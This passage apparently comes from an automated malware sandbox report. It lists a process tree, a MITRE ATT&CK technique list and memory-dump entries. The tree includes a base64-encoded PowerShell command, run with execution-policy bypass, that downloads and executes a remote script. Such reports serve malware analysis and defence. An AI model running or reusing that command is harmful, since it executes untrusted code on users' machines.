  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:2920

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2020
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:1364

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2600
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:3568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:1344

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1344-378-0x000002659BA20000-0x000002659BA22000-memory.dmp

Filesize
8KB

Download
memory/1344-380-0x000002659BA23000-0x000002659BA25000-memory.dmp

Filesize
8KB

Download
memory/1344-387-0x000002659BA26000-0x000002659BA28000-memory.dmp

Filesize
8KB

Download
memory/1344-438-0x000002659BA28000-0x000002659BA29000-memory.dmp

Filesize
4KB

Download
memory/2092-260-0x000001B9F19E8000-0x000001B9F19EA000-memory.dmp

Filesize
8KB

Download
memory/2092-226-0x000001B9F19E6000-0x000001B9F19E8000-memory.dmp

Filesize
8KB

Download
memory/2092-224-0x000001B9F19E3000-0x000001B9F19E5000-memory.dmp

Filesize
8KB

Download
memory/2092-223-0x000001B9F19E0000-0x000001B9F19E2000-memory.dmp

Filesize
8KB

Download
memory/2188-130-0x000001D9FA070000-0x000001D9FA071000-memory.dmp

Filesize
4KB

Download
memory/2188-124-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

Filesize
8KB

Download
memory/2188-156-0x000001D9FA900000-0x000001D9FA901000-memory.dmp

Filesize
4KB

Download
memory/2188-129-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

Filesize
8KB

Download
memory/2188-154-0x000001D9FA570000-0x000001D9FA571000-memory.dmp

Filesize
4KB

Download
memory/2188-150-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

Filesize
8KB

Download
memory/2188-131-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

Filesize
8KB

Download
memory/2188-122-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

Filesize
8KB

Download
memory/2188-123-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

Filesize
8KB

Download
memory/2188-148-0x000001D9FA010000-0x000001D9FA011000-memory.dmp

Filesize
4KB

Download
memory/2188-155-0x000001D9F7768000-0x000001D9F7769000-memory.dmp

Filesize
4KB

Download
memory/2188-128-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

Filesize
8KB

Download
memory/2188-125-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

Filesize
8KB

Download
memory/2188-126-0x000001D9F9580000-0x000001D9F9581000-memory.dmp

Filesize
4KB

Download
memory/2188-127-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

Filesize
8KB

Download
memory/2188-133-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

Filesize
8KB

Download
memory/2188-135-0x000001D9F7760000-0x000001D9F7762000-memory.dmp

Filesize
8KB

Download
memory/2188-136-0x000001D9F7763000-0x000001D9F7765000-memory.dmp

Filesize
8KB

Download
memory/2188-143-0x000001D9F7766000-0x000001D9F7768000-memory.dmp

Filesize
8KB

Download
memory/2188-139-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

Filesize
8KB

Download
memory/2896-115-0x00000168BE080000-0x00000168BE47F000-memory.dmp

Filesize
4.0MB

Download
memory/2896-120-0x00000168BDC66000-0x00000168BDC67000-memory.dmp

Filesize
4KB

Download
memory/2896-118-0x00000168BDC63000-0x00000168BDC65000-memory.dmp

Filesize
8KB

Download
memory/2896-119-0x00000168BDC65000-0x00000168BDC66000-memory.dmp

Filesize
4KB

Download
memory/2896-116-0x00000168BDC60000-0x00000168BDC62000-memory.dmp

Filesize
8KB

Download
memory/3320-262-0x00000231DF803000-0x00000231DF805000-memory.dmp

Filesize
8KB

Download
memory/3320-261-0x00000231DF800000-0x00000231DF802000-memory.dmp

Filesize
8KB

Download
memory/3320-293-0x00000231DF806000-0x00000231DF808000-memory.dmp

Filesize
8KB

Download
memory/4032-197-0x00000232BEB76000-0x00000232BEB78000-memory.dmp

Filesize
8KB

Download
memory/4032-174-0x00000232BEB73000-0x00000232BEB75000-memory.dmp

Filesize
8KB

Download
memory/4032-173-0x00000232BEB70000-0x00000232BEB72000-memory.dmp

Filesize
8KB

Download
memory/4032-171-0x00000232BEAD0000-0x00000232BEAD2000-memory.dmp

Filesize
8KB

Download
memory/4032-170-0x00000232BEAD0000-0x00000232BEAD2000-memory.dmp

Filesize
8KB

Download
memory/4032-175-0x00000232BEAD0000-0x00000232BEAD2000-memory.dmp

Filesize
8KB

Download
memory/4032-169-0x00000232BEAD0000-0x00000232BEAD2000-memory.dmp

Filesize
8KB

Download
memory/4032-167-0x00000232BEAD0000-0x00000232BEAD2000-memory.dmp

Filesize
8KB

Download
memory/4032-166-0x00000232BEAD0000-0x00000232BEAD2000-memory.dmp

Filesize
8KB

Download
memory/4032-165-0x00000232BEAD0000-0x00000232BEAD2000-memory.dmp

Filesize
8KB

Download
memory/4032-164-0x00000232BEAD0000-0x00000232BEAD2000-memory.dmp

Filesize
8KB

Download
memory/4032-202-0x00000232BEB78000-0x00000232BEB7A000-memory.dmp

Filesize
8KB

Download